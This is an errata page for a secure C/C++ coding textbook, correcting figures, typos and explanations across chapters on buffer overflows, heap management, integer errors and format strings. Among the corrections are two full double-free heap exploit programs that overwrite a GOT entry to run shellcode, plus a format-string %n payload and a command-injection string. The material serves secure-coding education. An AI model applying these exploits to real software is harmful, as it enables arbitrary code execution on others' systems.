![]()
|
ErrataPlease send your comments and corrections to the author at rcs@cert.org
Preface None. Chapter 1 : Running with Scissors None. int main(void) { and not: void main(void) { to be compliant with ISO/IEC 9899:1999 as described in Section 5.1.2.2.1 "Program startup".
Page 43. Figure
2-20. "/0" should be '\0'. Page 45.
Section 2.6 "Code Injection". Command line should appear without
quotes around the space.% ./BufferOverFlow < exploit.bin Page 44.
Figure 2-22. third block "(return to line 6 was line 3)"
should be "(return to line 7 was line 3)". Also "/0" should be
'\0'. Page 49, Figure 2-27, Line
4. Because sizeof(user_input)
returns the size of a char * and
not the length of the data pointed to by user_input,
it will always return 4. This is not sufficient to create a buffer
overflow condition in this case. Therefore, sizeof(user_input)
should be strlen(user_input)+1.
The code for figure 2-27 should be: 1. #include <string.h> Page 59, Section "Strsafe.h".
The reference to Figure 2-32 should reference "line 5" and "line
10" instead of "line 8" and "line 13". Page 60, first paragraph, last
sentence. "In most cases" could be more precisely states as "For
static buffers". Page 61, C++
std::string, paragraph 2. The sentence "The std::string class is
convenient because language supports the class directly" is not exactly
correct. It is not the language but the standard library that
supports it.
Page 67, Compiler Generated Runtime
Checks. The /RTC option only works at debug. Page 68. Section "Stackgap". "return
value" should be "return address". Page 68. There is not a great
deal of information published on
Stackgap but some information is available in a presentation given by
Theo de Raadt [de Raadt
03] given at CanSecWest,
Vancouver, Canada. April 2003 Page 73. section
"Metamail". paragraph 2. "the substring that indentifies the character
set" should be "the substring that identifies the character set"
Chapter 4: Dynamic Memory Management The corrected figures are shown below: 1. static char *GOT_LOCATION = (char *)0x0804c98c; 2. static char shellcode[] = 3. "\xeb\x0cjump12chars_" 4. "\x90\x90\x90\x90\x90\x90\x90\x90" 5. 6. int main(void){ 7. int size = sizeof(shellcode); 8. char *shellcode_location; 9. char *first, *second, *third, *fourth; 10. char *fifth, *sixth, *seventh; 11. shellcode_location = malloc(size); 12. strcpy(shellcode_location, shellcode); 13. first = malloc(256); 14. second = malloc(256); 15. third = malloc(256); 16. fourth = malloc(256); 17. free(first); 18. free(third); 19. fifth = malloc(128); 20. free(first); 21. sixth = malloc(256); 22. *((char **)(sixth+0)) = GOT_LOCATION-12; 23. *((char **)(sixth+4)) = shellcode_location; 24. seventh = malloc(256); 25. strcpy(fifth, "something"); 26. return 0; 27. } Figure 4–21. Double-free exploit code 1. static char *GOT_LOCATION = (char *)0x0804c98c; 2. static char shellcode[] = 3. "\xeb\x0cjump12chars_" 4. "\x90\x90\x90\x90\x90\x90\x90\x90" 5. int main(void){ 6. int size = sizeof(shellcode); 7. char *shellcode_location; 8. char *first, *second, *third, *fourth, *fifth, *sixth; 9. shellcode_location = malloc(size); 10. strcpy(shellcode_location, shellcode); 11. first = malloc(256); 12. second = malloc(256); 13. third = malloc(256); 14. fourth = malloc(256); 15. free(first); 16. free(third); 17. fifth = malloc(128); 18. *((char **)(first+0)) = GOT_LOCATION - 12; 19. *((char **)(first+4)) = shellcode_location; 20. sixth = malloc(256); 21. strcpy(fifth, "something"); 22. return 0; 23. } Figure 4–22. Overwriting freed memory exploit
Page 136, The following sentence in the last paragraph:
Second, FreeList[3] now points to 0x00BA06A0—the original location of h2. Second, FreeList[0] now points to 0x00BA06A0—the original location of h2. Page 141, Section "phkmalloc". "malloc/" should be "malloc". Page 149, Section 4.9 "Further Reading". First full sentence should read:A security researcher explains the internals of Poul-Henning Kamp's malloc() implementation (phkmalloc) [Smashing 05].
These two sections describe the differences
between sign
errors and truncation errors. These sections espouse the theory
that a truncation error occurs when a unsigned value is converted to a
signed value of the same length because the signed respresentation has
one less bit to represent the result. After giving this some more
consideration, I've come to believe that sign errors are errors in
which there is no loss of data but the bytes are simply misinterpreted
and that truncation errors involve a loss of data.
- If LHS is negative and RHS is positive, check that the lhs >= INT_MIN + rhs. - If LHS is non-negative and RHS is negative, check that the lhs <= INT_MAX + rhs. Likewise, the inequalities in Table 5-5 should be "<=" instead of "<" Table 5–5. Addition of Signed Integers of Type int LHS RHS Exceptional Condition Positive Positive Overflow if INT_MAX – LHS <= RHS Positive Negative None possible Negative Positive None possible Negative Negative Overflow if LHS <= INT_MIN – RHS
This paragraph and the associated figure
demonstrate how a
signal handler can be used on Linux to throw a C++ exception in
response to a hardware error such as integer overflow or
divide-by-zero. This solution only works on older Linux systems which use Setjmp-Longjmp (SjLj) exception handling system, but not on most modern Linux systems that use DWARF2 (aka, Unwind-dw2) exception handling system. This implements
exceptions using a setjmp call to save context at C++ try blocks and in
all functions with local objects that need to be destroyed when an
exception unwinds stack frames. The longjmp call is used to restore
saved contexts during stack unwinding. Since the context saves are
performed irrespective of whether an exception is eventually raised or
not, this implementation suffers a performance penalty.
The -fsjlj-exceptions option is no longer supported on recent versions of gcc for Linux.
The size variable is declared as an unsigned int (line 2), resulting in a very large positive value of 0xffffffff (from 1 minus 2) when memory is copied on line 5.
The size variable is declared as an unsigned int (line 2), resulting in a very large positive value of 0xffffffff (from 1 minus 2) when memory is copied on line 5.
table[pos] = value
Compiler ChecksIn a perfect world, C and C++
compilers
would identify the
potential for exceptional conditions to occur at runtime and provide a
mechanism (such as an exception, trap, or signal handler) for
applications to
handle these events. Unfortunately, the world we live in is far from
perfect. A
brief description of some of the capabilities that exist today follows. Visual C++.
The Visual C++ .NET 2003 compiler generates a compiler warning (C4244) when an integer value is assigned to a smaller integer type. At warning level 1, a warning will be issued if a value of type __int64 is assigned to a variable of type unsigned int. At warning level 3 and 4, a “possible loss of data” warning is issued if an integer type is converted to a smaller integer type. For example, the assignment in the following example is flagged at warning level 4:
Visual
C++ .NET 2003 also provides runtime error checks that are enabled by
the /RTC
flag. The /RTCc compiler
flag provides a similar function to compiler warning C4244 by reporting
when a
value assigned to a smaller data type results in a loss of data. Visual C++ also includes a runtime_checks
pragma that disables or restores the /RTC settings, but
does not include flags for catching other runtime errors such as
overflows.
Visual C++ 2005 adds the ability to catch overflows in operator::new
(and is on
by default). Runtime error checks are not
valid in a
release (optimized)
build for performance reasons.9 GCC
The gcc and g++
compilers include an -ftrapv
compiler option that provides limited
support for detecting signed integer exceptions at runtime. According
to the gcc man
page, this option “generates traps for signed overflow
on addition, subtraction,
and multiplication operations.” In practice, this means that the gcc compiler
generates calls to existing library functions rather than generating
assembler
instructions to perform these arithmetic operations on signed integers.
If you
use this feature, make sure you are using gcc version
3.4 or later because the
checks implemented by the runtime system before this version do not
adequately
detect all overflows and should not be trusted.10 9. See Visual C++ Compiler Options, /RTC (Run-Time Error Checks), Visual Studio .NET help system. 10. See VU#540517 “libgcc contains multiple flaws that allow integer type range vulnerabilities to occur at runtime” at http://www.kb.cert.org/vuls/id/540517.
The "Use Safe Integer
Operations" code shown in Figure 5-29 on page 191 does not compile
using version 2 of SafeInt.
Use the following code instead:
void* CreateStructs(int
StructSize, int HowMany) {
SafeInt<unsigned long>
s(StructSize);
On
page 194, the SafeInt Class section states that "Nearly every relevant
operator has been overridden". According to the author, David
LeBlanc from Microsoft, the only relevant operator not overwritten in
SafeInt version 2 is the [] subscripting operator. On page 193, the section titled "C
Language Compatible Library" states that "Advantages of the Howard
approach are that it can be used in both C and C++ programs and it is
efficient: assembly language instructions are the same the
same as those generated by a compiler except that they integrate checks
for carry and other conditions that indicate exceptions and set a
return code." However, it has been shown that Howard’s library
interferes with compiler optimization (as does any inline assembly),
that the LeBlanc library is generally faster for sizeable applications
(that have been optimized). Similarly
on page 195, the text states that "One disadvantages is that
SafeInt is larger and slower than the Howard approach." In fact,
SafeInt may perform better for applications that have been compiled
with optimization enabled. Also
on page 195, the text states that "RCSint combines the usability
of the SafeInt template class with the performance of the Howard
approach." While this is true, RCSint also makes use of inline
assembly code that could interfere with compiler optimization.
Page
200. just before the summary. "bash -c 'ls\377who" is
missing the trailing ' character. Page 220. section
"Overwriting
Memory". para 2, after the example. "are written until the %n
conversion specifier is encountered." is a little awkward and should be
"are written before the %n conversion specifier
is encountered." Page 220. Section
"Overwriting
Memory". The following code example:printf("\xdc\xf5\x42\x01%08x.%08x.%08x%n");
Page 225. Section
6.4 "Stack Randomization".The following sentence: However, many Linux variants (for example, Red Hat, Debian, and OpenBSD) include some form of stack randomization. Should read: However, many Unix variants (for example, Red Hat, Debian, and OpenBSD) include some form of stack randomization. Page 227. Section
"Bytes Output"The following sentence: This number, which depends on the distance variable summed with the length of the dummy address and address bytes, can be readily calculated. Should read: This value can be calculated from the distance between the argument pointer to the formatted output function and the start of the format string and the length of the dummy address and address bytes.
The code from Figure 7-3 arbitrarily selects an initial sleep time of 100 milliseconds Should read: The code from Figure 7-3 arbitrarily selects an initial sleep time of 100 microseconds.
All of these reasons suggest that it is best to close all open files, excepting perhaps stdin, stdout, and stderr, before executing a different program by calling execve() or one of the various front-ends to it (e.g., exec(), system(), or popen()). Chapter 8: Recommended Practices page 277As a result, software development practices that are meant to reduce or eliminate vulnerabilities in system development must be process agnostic [Taylor 05], that is, capable of being integrated into a broad variety of existing processes. page 278Figure 8-2 incorrectly spells "Security" as "Securty" Page 295, Section
"Testing". Replace "NIL" with "null".http://www.am-utils.org/docs/kgcc-rpe/kgcc.pdf page 299 Penetration Testing Penetration testing generally implies probing an application, system, or network from the perspective of an attacker searching for potential vulnerabilities. Gary McGraw concisely summarizes the advantages and limitations of penetration testing [McGraw 04]: Penetration testing is also useful, especially if an architectural risk analysis is specifically driving the tests. The advantage of penetration testing is that it gives a good understanding of fielded software in its real environment. However, any black-box penetration testing that doesn't take the software architecture into account probably won't uncover anything deeply interesting about software risk. Software that falls prey to canned black-box testing-which simplistic application security testing tools on the market today practice-is truly bad. This means that passing a cursory penetration test reveals very little about your real security posture, but failing an easy canned penetration test tells you that you're in very deep trouble indeed. [de Raadt 03] Theo de Raadt, Advances in OpenBSD, presented at CanSecWest, Vancouver, Canada. April 2003 http://www.openbsd.org/papers/csw03/mgp00001.html. [McGraw 04] Gary McGraw. Software Security, IEEE Security & Privacy magazine 2(2):80-83, March/April 2004. [Taylor 05] Taylor, D.; McGraw, G.; Adopting a software security improvement program. Security & Privacy Magazine, IEEE. Volume 3, Issue 3, May-June 2005 Page(s):88 - 91 |
||






